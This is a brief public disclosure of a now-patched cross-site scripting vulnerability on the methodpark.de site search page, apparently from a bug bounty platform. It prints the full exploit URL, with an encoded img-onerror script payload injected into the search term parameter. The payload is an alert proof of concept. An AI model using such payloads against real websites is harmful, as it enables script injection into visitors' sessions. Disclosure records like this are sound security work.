methodpark.de XSS vulnerability

Vulnerable URL: https://www.methodpark.de/meta/suchergebnisse.html?txtwlucenesearchlucene%5Bsearchterm%5D=a%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dy+onerror%3Dalert%28%27openbugbounty%27%29%3Etwlucenesearchlucene%5Bsearch%5D=Suchen Details: Description| Value ---|--- Patched:| Yes, at Vulnerability...